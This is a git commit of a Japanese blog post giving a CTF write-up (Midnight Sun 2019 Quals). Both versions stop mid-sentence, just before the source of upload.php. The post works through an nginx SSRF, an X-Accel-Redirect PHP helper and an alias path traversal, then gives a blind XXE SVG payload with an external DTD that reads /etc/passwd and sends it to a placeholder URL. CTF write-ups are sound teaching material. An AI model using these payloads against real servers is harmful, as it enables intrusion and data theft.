<commit_before>---
layout: post
title: Midnight Sun CTF 2019 Quals の write-up
categories: [ctf]
date: 2019-04-07 11:10:00 +0900
---

4 月 6 日から 4 月 7 日にかけて開催された [Midnight Sun CTF 2019 Quals](https://midnightsunctf.se/) に、チーム Harekaze として [shpik](https://twitter.com/__Sehun_Oh__) さん、[Safflower](https://twitter.com/plzdonotsay) さん、[Hackability](https://twitter.com/ethan_tbkim) さんも一緒に参加しました。最終的にチームで 3217 点を獲得し、順位は得点 432 チーム中 23 位でした。うち、私は 3 問を解いて 1061 点を入れました。

以下、私が解いた問題の write-up です。

## Web
### bigspin (424)
> This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?
> Service: http://bigspin-01.play.midnightsunctf.se:3123

与えられた URL にアクセスすると、以下の 4 つのリンクが表示されました。

```html
<html>
    What's it gonna be? Are you an <a href="/uberadmin/">uberadmin</a>, an <a href="/admin/">admin</a>, a <a href="/user/">user</a>, or (most likely) just a <a href="/pleb/">pleb</a>?
</html>
```

それぞれアクセスしてみたところ、`/uberadmin/` `/user/` が `403 Forbidden`、`/admin/` が `404 Not Found` を返し、`/pleb/` のみが正常にコンテンツを返すという状態でした。

`/pleb/` は [example.com](https://example.com) と同じコンテンツでしたが、ここで [shpik](https://twitter.com/__Sehun_Oh__) さんが `/pleb:80` は `200 OK` を返し、`/pleb:22` では `504 Gateway Timeout` を返すことから [nginx の設定ミスによる SSRF](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md) ができるのではないかという推測をされていました。

つまり、`/pleb(ユーザ入力)` にアクセスするとサーバが `http://example.com(ユーザ入力)` にアクセスしてこのコンテンツを返しているのではないか、ということでした。

これを利用して、`/pleb.lvh.me/` (`*.lvh.me` は `127.0.0.1` に解決される) にアクセスすると `/` にアクセスしたときと同じように 4 つのリンクが表示されました。`/pleb.lvh.me/user/` にアクセスすると以下のように `/user/` にアクセスすることができました。

```html
<html>
<head><title>Index of /user/</title></head>
<body bgcolor="white">
<h1>Index of /user/</h1><hr><pre><a href="../">../</a>
<a href="nginx.c%C3%B6nf%20">nginx.cönf </a>                                       05-Apr-2019 11:51                1253
</pre><hr></body>
</html>
```

`nginx.cönf` も同様に `/pleb.lvh.me/user/nginx.c%25C3%25B6nf%2520` (二重にパーセントエンコーディングを行う必要があることに注意) にアクセスして取得します。

```
worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
  worker_connections 1024;
}

http {

    # Set an array of temp and cache files options that otherwise defaults to
    # restricted locations accessible only to root.

    client_body_temp_path /tmp/client_body;
    fastcgi_temp_path /tmp/fastcgi_temp;
    proxy_temp_path /tmp/proxy_temp;
    scgi_temp_path /tmp/scgi_temp;
    uwsgi_temp_path /tmp/uwsgi_temp;
    resolver 8.8.8.8 ipv6=off;

    server {
        listen 80;

        location / {
            root /var/www/html/public;
            try_files $uri $uri/index.html $uri/ =404;
        }

        location /user {
            allow 127.0.0.1;
            deny all;
            autoindex on;
            root /var/www/html/;
        }

        location /admin {
            internal;
            autoindex on;
            alias /var/www/html/admin/;
        }

        location /uberadmin {
            allow 0.13.3.7;
            deny all;
            autoindex on;
            alias /var/www/html/uberadmin/;
        }

        location ~ /pleb([/a-zA-Z0-9.:%]+) {
            proxy_pass   http://example.com$1;
        }

        access_log /dev/stdout;
        error_log /dev/stdout;
    }

}
```

`/admin` には内部でのリダイレクト、`/uberadmin` には `0.13.3.7` からのアクセスであった場合にのみ閲覧できるようです。

まず `/admin` から攻めていきましょう。[Module ngx_http_core_module](http://nginx.org/en/docs/http/ngx_http_core_module.html#internal) を参照すると、`Internal requests are … requests redirected by the “X-Accel-Redirect” response header field from an upstream server` と、`X-Accel-Redirect` ヘッダを使うことでアクセスができると書かれています。

以下のようなスクリプトを用意して `php -S 0.0.0.0:8080` でサーバを立ち上げます。

```php
<?php
header("X-Accel-Redirect: ${_SERVER['PATH_INFO']}");
exit(0);
```

[nip.io](http://nip.io/) を使うと `example.com.(IP アドレス).nip.io` が `(IP アドレス)` に解決されることを利用して、`/pleb.(IP アドレス).nip.io:8080/index.php/admin/` にアクセスすると以下のように `/admin/` にアクセスすることができました。

```html
<html>
<head><title>Index of /admin/</title></head>
<body bgcolor="white">
<h1>Index of /admin/</h1><hr><pre><a href="../">../</a>
<a href="flag.txt">flag.txt</a>                                           08-Mar-2019 00:17                  73
</pre><hr></body>
</html>
```

`/admin/flag.txt` も `/pleb.(IP アドレス).nip.io:8080/index.php/admin/flag.txt` で取得します。

```
hmmm, should admins really get flags? seems like an uberadmin thing to me
```

`/uberadmin/` にフラグがあるようです。…が、`0.13.3.7` からのアクセスというのはとてもできそうにありません。ここで再度 `/admin/` の設定を見直します。

```
location /admin {
    internal;
    autoindex on;
    alias /var/www/html/admin/;
}
```

`alias` ディレクティブが使われていますが、`location /admin` とスラッシュで終わっていないので、例えば `/admin../` のようなリクエストを送ることで[パストラバーサル](https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md)ができます。

これを利用して、`/pleb.(IP アドレス).nip.io:8080/index.php/admin../uberadmin/` にアクセスすると `/uberadmin/` のファイル一覧を取得できました。

```html
<html>
<head><title>Index of /admin../uberadmin/</title></head>
<body bgcolor="white">
<h1>Index of /admin../uberadmin/</h1><hr><pre><a href="../">../</a>
<a href="flag.txt">flag.txt</a>                                           15-Mar-2019 23:52                  38
</pre><hr></body>
</html>
```

`/admin/flag.txt` も `/pleb.(IP アドレス).nip.io:8080/index.php/admin../uberadmin/flag.txt` で取得します。

```
midnight{y0u_sp1n_m3_r1ght_r0und_b@by}
```

フラグが得られました。

### rubenscube (424)
> Sharing is caring. For picture wizard use only.
> Service: http://ruben-01.play.midnightsunctf.se:8080

与えられた URL にアクセスすると、`Hello Human! I'm PicBot! You can share photos by uploading them to me!` としゃべるロボットと画像がアップロードできるフォームが表示されました。

ここでは [Safflower](https://twitter.com/plzdonotsay) さんによって SVG がアップロードでき、また Blind XXE ができることが分かっていました。

[Blind XXE经典payload引发的脑洞 \| 回忆飘如雪](http://gv7.me/articles/2018/think-about-blind-xxe-payload/) を参考に、以下のようなペイロードで `/etc/passwd` の抽出ができました。

`evilt.dtd` (Gist 等にアップロードする)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://()/?%file;'>">
%all;
```

`payload.svg`

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "(evilt.dtd をアップロードした URL)">
%dtd;
]>
<svg>&send;</svg>
```

ところが、`index.php` や `upload.php` などのソースコードを抽出しようとしても、`upload.php` は `500 Internal Server Error` を返すばかりで全く成功しません。ここで [shpik](https://twitter.com/__Sehun_Oh__) さんが `/robots.txt` が存在していることを発見しました。

```
User-agent: *
Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self
Disallow: source.zip
```

`/source.zip` にアクセスすることでこの Web アプリケーションのソースコードが得られました。

ファイルのアップロード処理を行う `upload.php` は以下のような内容でした。<commit_msg>typoを直した<commit_after>---
layout: post
title: Midnight Sun CTF 2019 Quals の write-up
categories: [ctf]
date: 2019-04-07 11:10:00 +0900
---

4 月 6 日から 4 月 7 日にかけて開催された [Midnight Sun CTF 2019 Quals](https://midnightsunctf.se/) に、チーム Harekaze として [shpik](https://twitter.com/__Sehun_Oh__) さん、[Safflower](https://twitter.com/plzdonotsay) さん、[Hackability](https://twitter.com/ethan_tbkim) さんも一緒に参加しました。最終的にチームで 3217 点を獲得し、順位は得点 432 チーム中 23 位でした。うち、私は 3 問を解いて 1061 点を入れました。

以下、私が解いた問題の write-up です。

## Web
### bigspin (424)
> This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?
> Service: http://bigspin-01.play.midnightsunctf.se:3123

与えられた URL にアクセスすると、以下の 4 つのリンクが表示されました。

```html
<html>
    What's it gonna be? Are you an <a href="/uberadmin/">uberadmin</a>, an <a href="/admin/">admin</a>, a <a href="/user/">user</a>, or (most likely) just a <a href="/pleb/">pleb</a>?
</html>
```

それぞれアクセスしてみたところ、`/uberadmin/` `/user/` が `403 Forbidden`、`/admin/` が `404 Not Found` を返し、`/pleb/` のみが正常にコンテンツを返すという状態でした。

`/pleb/` は [example.com](https://example.com) と同じコンテンツでしたが、ここで [shpik](https://twitter.com/__Sehun_Oh__) さんが `/pleb:80` は `200 OK` を返し、`/pleb:22` では `504 Gateway Timeout` を返すことから [nginx の設定ミスによる SSRF](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md) ができるのではないかという推測をされていました。

つまり、`/pleb(ユーザ入力)` にアクセスするとサーバが `http://example.com(ユーザ入力)` にアクセスしてこのコンテンツを返しているのではないか、ということでした。

これを利用して、`/pleb.lvh.me/` (`*.lvh.me` は `127.0.0.1` に解決される) にアクセスすると `/` にアクセスしたときと同じように 4 つのリンクが表示されました。`/pleb.lvh.me/user/` にアクセスすると以下のように `/user/` にアクセスすることができました。

```html
<html>
<head><title>Index of /user/</title></head>
<body bgcolor="white">
<h1>Index of /user/</h1><hr><pre><a href="../">../</a>
<a href="nginx.c%C3%B6nf%20">nginx.cönf </a>                                       05-Apr-2019 11:51                1253
</pre><hr></body>
</html>
```

`nginx.cönf` も同様に `/pleb.lvh.me/user/nginx.c%25C3%25B6nf%2520` (二重にパーセントエンコーディングを行う必要があることに注意) にアクセスして取得します。

```
worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
  worker_connections 1024;
}

http {

    # Set an array of temp and cache files options that otherwise defaults to
    # restricted locations accessible only to root.

    client_body_temp_path /tmp/client_body;
    fastcgi_temp_path /tmp/fastcgi_temp;
    proxy_temp_path /tmp/proxy_temp;
    scgi_temp_path /tmp/scgi_temp;
    uwsgi_temp_path /tmp/uwsgi_temp;
    resolver 8.8.8.8 ipv6=off;

    server {
        listen 80;

        location / {
            root /var/www/html/public;
            try_files $uri $uri/index.html $uri/ =404;
        }

        location /user {
            allow 127.0.0.1;
            deny all;
            autoindex on;
            root /var/www/html/;
        }

        location /admin {
            internal;
            autoindex on;
            alias /var/www/html/admin/;
        }

        location /uberadmin {
            allow 0.13.3.7;
            deny all;
            autoindex on;
            alias /var/www/html/uberadmin/;
        }

        location ~ /pleb([/a-zA-Z0-9.:%]+) {
            proxy_pass   http://example.com$1;
        }

        access_log /dev/stdout;
        error_log /dev/stdout;
    }

}
```

`/admin` には内部でのリダイレクト、`/uberadmin` には `0.13.3.7` からのアクセスであった場合にのみ閲覧できるようです。

まず `/admin` から攻めていきましょう。[Module ngx_http_core_module](http://nginx.org/en/docs/http/ngx_http_core_module.html#internal) を参照すると、`Internal requests are … requests redirected by the “X-Accel-Redirect” response header field from an upstream server` と、`X-Accel-Redirect` ヘッダを使うことでアクセスができると書かれています。

以下のようなスクリプトを用意して `php -S 0.0.0.0:8080` でサーバを立ち上げます。

```php
<?php
header("X-Accel-Redirect: ${_SERVER['PATH_INFO']}");
exit(0);
```

[nip.io](http://nip.io/) を使うと `example.com.(IP アドレス).nip.io` が `(IP アドレス)` に解決されることを利用して、`/pleb.(IP アドレス).nip.io:8080/index.php/admin/` にアクセスすると以下のように `/admin/` にアクセスすることができました。

```html
<html>
<head><title>Index of /admin/</title></head>
<body bgcolor="white">
<h1>Index of /admin/</h1><hr><pre><a href="../">../</a>
<a href="flag.txt">flag.txt</a>                                           08-Mar-2019 00:17                  73
</pre><hr></body>
</html>
```

`/admin/flag.txt` も `/pleb.(IP アドレス).nip.io:8080/index.php/admin/flag.txt` で取得します。

```
hmmm, should admins really get flags? seems like an uberadmin thing to me
```

`/uberadmin/` にフラグがあるようです。…が、`0.13.3.7` からのアクセスというのはとてもできそうにありません。ここで再度 `/admin/` の設定を見直します。

```
location /admin {
    internal;
    autoindex on;
    alias /var/www/html/admin/;
}
```

`alias` ディレクティブが使われていますが、`location /admin` とスラッシュで終わっていないので、例えば `/admin../` のようなリクエストを送ることで[パストラバーサル](https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md)ができます。

これを利用して、`/pleb.(IP アドレス).nip.io:8080/index.php/admin../uberadmin/` にアクセスすると `/uberadmin/` のファイル一覧を取得できました。

```html
<html>
<head><title>Index of /admin../uberadmin/</title></head>
<body bgcolor="white">
<h1>Index of /admin../uberadmin/</h1><hr><pre><a href="../">../</a>
<a href="flag.txt">flag.txt</a>                                           15-Mar-2019 23:52                  38
</pre><hr></body>
</html>
```

`/uberadmin/flag.txt` も `/pleb.(IP アドレス).nip.io:8080/index.php/admin../uberadmin/flag.txt` で取得します。

```
midnight{y0u_sp1n_m3_r1ght_r0und_b@by}
```

### rubenscube (424)
> Sharing is caring. For picture wizard use only.
> Service: http://ruben-01.play.midnightsunctf.se:8080

与えられた URL にアクセスすると、`Hello Human! I'm PicBot! You can share photos by uploading them to me!` としゃべるロボットと画像がアップロードできるフォームが表示されました。

ここでは [Safflower](https://twitter.com/plzdonotsay) さんによって SVG がアップロードでき、また Blind XXE ができることが分かっていました。

[Blind XXE经典payload引发的脑洞 \| 回忆飘如雪](http://gv7.me/articles/2018/think-about-blind-xxe-payload/) を参考に、以下のようなペイロードで `/etc/passwd` の抽出ができました。

`evilt.dtd` (Gist 等にアップロードする)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://(URL)/?%file;'>">
%all;
```

`payload.svg`

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "(evilt.dtd をアップロードした URL)">
%dtd;
]>
<svg>&send;</svg>
```

ところが、`index.php` や `upload.php` などのソースコードを抽出しようとしても、`upload.php` は `500 Internal Server Error` を返すばかりで全く成功しません。ここで [shpik](https://twitter.com/__Sehun_Oh__) さんが `/robots.txt` が存在していることを発見しました。

```
User-agent: *
Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self
Disallow: source.zip
```

`/source.zip` にアクセスすることでこの Web アプリケーションのソースコードが得られました。

ファイルのアップロード処理を行う `upload.php` は以下のような内容でした。
{'fraction_non_alphanumeric': 0.171481619012254, 'fraction_numerical': 0.03401411065725956, 'mean_word_length': 3.350888529886914, 'pattern_counts': {'":': 0, '<': 151, '<?xml version=': 4, '>': 157, 'https://': 20, 'lorem ipsum': 0, 'www.': 10, 'xml': 8}, 'pii_count': 14, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 12, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3508421', 'n_tokens_mistral': 7055, 'n_tokens_neox': 6301, 'n_words': 1034}